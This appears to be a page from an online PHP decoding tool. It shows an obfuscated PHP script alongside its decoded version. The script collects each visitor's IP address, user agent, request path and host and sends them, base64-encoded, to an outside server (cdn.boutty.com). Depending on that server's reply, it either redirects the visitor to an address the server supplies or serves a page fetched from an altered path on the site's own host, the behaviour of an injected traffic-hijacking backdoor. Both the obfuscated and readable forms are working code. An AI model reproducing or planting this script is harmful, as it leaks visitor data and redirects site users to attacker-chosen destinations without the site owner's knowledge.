Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto C875d9a9d1f2f7c6; C875d9a9d1f2f7c6: function C7fcEf29ba39577d() { goto Ebf1b92..

Decoded Output download

<?php 
goto C875d9a9d1f2f7c6; C875d9a9d1f2f7c6: function C7fcEf29ba39577d() { goto Ebf1b925e5aa62de; Ebf1b925e5aa62de: $f97693b9f6cd223d = $_SERVER["REMOTE_ADDR"]; goto fab3b564a7864929; defbc6f3e3fc4bd3: f57358f953c99751: goto aa5a693e445de361; Ac6037ea9cc923bb: $f97693b9f6cd223d = $_SERVER["HTTP_CF_CONNECTING_IP"]; goto defbc6f3e3fc4bd3; aa5a693e445de361: return $f97693b9f6cd223d; goto C0219757eeef984a; fab3b564a7864929: if (!isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { goto f57358f953c99751; } goto Ac6037ea9cc923bb; C0219757eeef984a: } goto c625818b10fb4d33; A34982430ff4fed4: function e8a3d6F26052dBCC() { goto fc0ac4eb108e70fe; E54df9111f58fde5: $e44992d2b707fb26 = $fa766714d2ed0061["host"]; goto B8fbf02d669bfa03; aea88525131a157c: $fa766714d2ed0061 = json_decode($_SERVER["HTTP_CF_VISITOR"], true); goto B71230e68be92d2f; B8fbf02d669bfa03: Fc7148c3a9c16309: goto b8289756819e1cca; B034e58f4e0555c5: return $e44992d2b707fb26; goto Df5bb8a6307b13c3; B71230e68be92d2f: if (!isset($fa766714d2ed0061["host"])) { goto Fc7148c3a9c16309; } goto E54df9111f58fde5; fc0ac4eb108e70fe: $e44992d2b707fb26 = $_SERVER["HTTP_HOST"]; goto Fa34d65e2c435a27; Fa34d65e2c435a27: if (!isset($_SERVER["HTTP_CF_VISITOR"])) { goto ecd483e6a9c009c1; } goto aea88525131a157c; b8289756819e1cca: ecd483e6a9c009c1: goto B034e58f4e0555c5; Df5bb8a6307b13c3: } goto B2c02b157a67e99a; a261fe9c384d34d1: curl_setopt_array($E5216b76548340a8, $dcb86c541786a5de); goto B94a883c7ff818eb; A8f3772f06ecb393: echo $C4482866961e6f54; goto f5e0a13b10c0815f; f5515392ae3c6a85: $dcb86c541786a5de = array(CURLOPT_URL => $b25d34cfc6f94aca, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($b2c0e20de8cb1380), CURLOPT_RETURNTRANSFER => true); goto B12763cd3f408c1b; f5e0a13b10c0815f: exit; goto b261fbd1843c1450; c01b8dc34ed6b30b: curl_close($E5216b76548340a8); goto c3cab288e74de474; d3b37f2a3aef3809: $f64527728e2b8608 = "278"; goto a682d953493b7f3c; fa7a953d1b1a89f0: $e406b9a985d22178 = $_SERVER["HTTP_USER_AGENT"]; goto b589318fc28f903b; a682d953493b7f3c: $e7dabc4062dea86e = base64_encode($f64527728e2b8608 . $b2c0e20de8cb1380); goto ee27c183c06c7e21; b261fbd1843c1450: goto E897ba03cbcbd52e; goto Afcc9fd394145ea1; b589318fc28f903b: $b2c0e20de8cb1380 = $c64d320d5552ef92 . "|" . $e406b9a985d22178 . "|" . $Ee093acb0fbef69d . "|" . $d943efebb5fa520c; goto d3b37f2a3aef3809; B2c02b157a67e99a: $d943efebb5fa520c = e8a3d6F26052Dbcc(); goto b0e082cc87eced21; B94a883c7ff818eb: $cda9bbb81c167eb7 = curl_exec($E5216b76548340a8); goto c01b8dc34ed6b30b; Ef59b23245779b72: $E6698fbb03ca9daf = "https://" . $d943efebb5fa520c . $F1cf6c2bb5f815f9; goto a6fda7440ccfdec7; e7062a281f3ef721: $F1cf6c2bb5f815f9 = implode("/", $fb3e2c8df7697c8e); goto Ef59b23245779b72; a6fda7440ccfdec7: $C4482866961e6f54 = file_get_contents($E6698fbb03ca9daf); goto A8f3772f06ecb393; c1065dc920437fac: $b2c0e20de8cb1380 = array("encoded_data" => $e7dabc4062dea86e); goto f5515392ae3c6a85; c625818b10fb4d33: $c64d320d5552ef92 = c7fcef29ba39577d(); goto A34982430ff4fed4; Afcc9fd394145ea1: df20a0caaa47ecca: goto e2606e86a4f2b883; B5c4b44b782042a2: exit; goto c5f4f71d572e4d23; ce3399fd31926c5b: $fb3e2c8df7697c8e = explode("/", $Ee093acb0fbef69d); goto f619c3337ba5f4bf; C90174ff2c80c8ba: $E91fbdbaea61a8c7 = rtrim($F7a43d041425dbd0, $F7a43d041425dbd0[strlen($F7a43d041425dbd0) - 1]); goto Ba2ea3fb7ba4ff3e; b0e082cc87eced21: $Ee093acb0fbef69d = isset($_SERVER["HTTP_CF_REQUEST_URI"]) ? $_SERVER["HTTP_CF_REQUEST_URI"] : $_SERVER["REQUEST_URI"]; goto fa7a953d1b1a89f0; ab41d0d72e8fc917: $F7a43d041425dbd0 = $fb3e2c8df7697c8e[2]; goto C90174ff2c80c8ba; Ba2ea3fb7ba4ff3e: $fb3e2c8df7697c8e[2] = $E91fbdbaea61a8c7; goto A1f6c75cda8cedb2; c3cab288e74de474: if ($cda9bbb81c167eb7 !== "sai") { goto df20a0caaa47ecca; } goto ce3399fd31926c5b; e2606e86a4f2b883: header("Location: " . $cda9bbb81c167eb7); goto B5c4b44b782042a2; ee27c183c06c7e21: $b25d34cfc6f94aca = "https://cdn.boutty.com/index.php"; goto c1065dc920437fac; B12763cd3f408c1b: $E5216b76548340a8 = curl_init(); goto a261fe9c384d34d1; f619c3337ba5f4bf: if (!(count($fb3e2c8df7697c8e) >= 3)) { goto b787bd5eea8fc44d; } goto ab41d0d72e8fc917; A1f6c75cda8cedb2: b787bd5eea8fc44d: goto e7062a281f3ef721; c5f4f71d572e4d23: E897ba03cbcbd52e: 
 ?>

Did this file decode correctly?

Original Code

<?php
goto C875d9a9d1f2f7c6; C875d9a9d1f2f7c6: function C7fcEf29ba39577d() { goto Ebf1b925e5aa62de; Ebf1b925e5aa62de: $f97693b9f6cd223d = $_SERVER["\x52\105\x4d\117\x54\x45\137\x41\104\104\122"]; goto fab3b564a7864929; defbc6f3e3fc4bd3: f57358f953c99751: goto aa5a693e445de361; Ac6037ea9cc923bb: $f97693b9f6cd223d = $_SERVER["\110\x54\x54\x50\x5f\103\x46\x5f\x43\117\116\x4e\x45\103\x54\x49\116\107\137\x49\x50"]; goto defbc6f3e3fc4bd3; aa5a693e445de361: return $f97693b9f6cd223d; goto C0219757eeef984a; fab3b564a7864929: if (!isset($_SERVER["\x48\124\x54\x50\x5f\x43\x46\x5f\103\117\x4e\x4e\x45\103\124\x49\116\x47\137\x49\120"])) { goto f57358f953c99751; } goto Ac6037ea9cc923bb; C0219757eeef984a: } goto c625818b10fb4d33; A34982430ff4fed4: function e8a3d6F26052dBCC() { goto fc0ac4eb108e70fe; E54df9111f58fde5: $e44992d2b707fb26 = $fa766714d2ed0061["\150\x6f\163\164"]; goto B8fbf02d669bfa03; aea88525131a157c: $fa766714d2ed0061 = json_decode($_SERVER["\x48\x54\x54\120\137\x43\x46\x5f\126\x49\x53\111\x54\x4f\x52"], true); goto B71230e68be92d2f; B8fbf02d669bfa03: Fc7148c3a9c16309: goto b8289756819e1cca; B034e58f4e0555c5: return $e44992d2b707fb26; goto Df5bb8a6307b13c3; B71230e68be92d2f: if (!isset($fa766714d2ed0061["\x68\157\163\164"])) { goto Fc7148c3a9c16309; } goto E54df9111f58fde5; fc0ac4eb108e70fe: $e44992d2b707fb26 = $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\124"]; goto Fa34d65e2c435a27; Fa34d65e2c435a27: if (!isset($_SERVER["\x48\x54\124\120\x5f\x43\x46\137\126\111\x53\x49\124\117\122"])) { goto ecd483e6a9c009c1; } goto aea88525131a157c; b8289756819e1cca: ecd483e6a9c009c1: goto B034e58f4e0555c5; Df5bb8a6307b13c3: } goto B2c02b157a67e99a; a261fe9c384d34d1: curl_setopt_array($E5216b76548340a8, $dcb86c541786a5de); goto B94a883c7ff818eb; A8f3772f06ecb393: echo $C4482866961e6f54; goto f5e0a13b10c0815f; f5515392ae3c6a85: $dcb86c541786a5de = array(CURLOPT_URL => $b25d34cfc6f94aca, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($b2c0e20de8cb1380), CURLOPT_RETURNTRANSFER => true); goto B12763cd3f408c1b; f5e0a13b10c0815f: exit; goto b261fbd1843c1450; c01b8dc34ed6b30b: curl_close($E5216b76548340a8); goto c3cab288e74de474; d3b37f2a3aef3809: $f64527728e2b8608 = "\62\67\70"; goto a682d953493b7f3c; fa7a953d1b1a89f0: $e406b9a985d22178 = $_SERVER["\x48\x54\124\120\137\x55\123\105\x52\137\101\x47\105\116\x54"]; goto b589318fc28f903b; a682d953493b7f3c: $e7dabc4062dea86e = base64_encode($f64527728e2b8608 . $b2c0e20de8cb1380); goto ee27c183c06c7e21; b261fbd1843c1450: goto E897ba03cbcbd52e; goto Afcc9fd394145ea1; b589318fc28f903b: $b2c0e20de8cb1380 = $c64d320d5552ef92 . "\x7c" . $e406b9a985d22178 . "\x7c" . $Ee093acb0fbef69d . "\x7c" . $d943efebb5fa520c; goto d3b37f2a3aef3809; B2c02b157a67e99a: $d943efebb5fa520c = e8a3d6F26052Dbcc(); goto b0e082cc87eced21; B94a883c7ff818eb: $cda9bbb81c167eb7 = curl_exec($E5216b76548340a8); goto c01b8dc34ed6b30b; Ef59b23245779b72: $E6698fbb03ca9daf = "\150\164\x74\x70\163\72\x2f\x2f" . $d943efebb5fa520c . $F1cf6c2bb5f815f9; goto a6fda7440ccfdec7; e7062a281f3ef721: $F1cf6c2bb5f815f9 = implode("\57", $fb3e2c8df7697c8e); goto Ef59b23245779b72; a6fda7440ccfdec7: $C4482866961e6f54 = file_get_contents($E6698fbb03ca9daf); goto A8f3772f06ecb393; c1065dc920437fac: $b2c0e20de8cb1380 = array("\145\156\x63\x6f\144\x65\x64\137\144\141\164\141" => $e7dabc4062dea86e); goto f5515392ae3c6a85; c625818b10fb4d33: $c64d320d5552ef92 = c7fcef29ba39577d(); goto A34982430ff4fed4; Afcc9fd394145ea1: df20a0caaa47ecca: goto e2606e86a4f2b883; B5c4b44b782042a2: exit; goto c5f4f71d572e4d23; ce3399fd31926c5b: $fb3e2c8df7697c8e = explode("\x2f", $Ee093acb0fbef69d); goto f619c3337ba5f4bf; C90174ff2c80c8ba: $E91fbdbaea61a8c7 = rtrim($F7a43d041425dbd0, $F7a43d041425dbd0[strlen($F7a43d041425dbd0) - 1]); goto Ba2ea3fb7ba4ff3e; b0e082cc87eced21: $Ee093acb0fbef69d = isset($_SERVER["\x48\x54\124\x50\137\103\106\x5f\122\105\x51\125\105\123\x54\137\125\x52\x49"]) ? $_SERVER["\x48\124\124\x50\x5f\103\x46\137\x52\105\121\x55\105\123\x54\137\x55\x52\x49"] : $_SERVER["\122\x45\x51\x55\x45\123\124\137\125\x52\111"]; goto fa7a953d1b1a89f0; ab41d0d72e8fc917: $F7a43d041425dbd0 = $fb3e2c8df7697c8e[2]; goto C90174ff2c80c8ba; Ba2ea3fb7ba4ff3e: $fb3e2c8df7697c8e[2] = $E91fbdbaea61a8c7; goto A1f6c75cda8cedb2; c3cab288e74de474: if ($cda9bbb81c167eb7 !== "\163\141\x69") { goto df20a0caaa47ecca; } goto ce3399fd31926c5b; e2606e86a4f2b883: header("\114\157\x63\x61\x74\151\157\x6e\x3a\x20" . $cda9bbb81c167eb7); goto B5c4b44b782042a2; ee27c183c06c7e21: $b25d34cfc6f94aca = "\x68\x74\x74\160\x73\72\x2f\57\x63\x64\156\x2e\142\x6f\x75\x74\164\171\x2e\x63\157\155\x2f\x69\x6e\x64\x65\170\x2e\160\x68\x70"; goto c1065dc920437fac; B12763cd3f408c1b: $E5216b76548340a8 = curl_init(); goto a261fe9c384d34d1; f619c3337ba5f4bf: if (!(count($fb3e2c8df7697c8e) >= 3)) { goto b787bd5eea8fc44d; } goto ab41d0d72e8fc917; A1f6c75cda8cedb2: b787bd5eea8fc44d: goto e7062a281f3ef721; c5f4f71d572e4d23: E897ba03cbcbd52e:

Function Calls

None

Variables

None

Stats

MD5 2ea4b7646b87b8308ac28e3e7a60f7a0
Eval Count 0
Decode Time 55 ms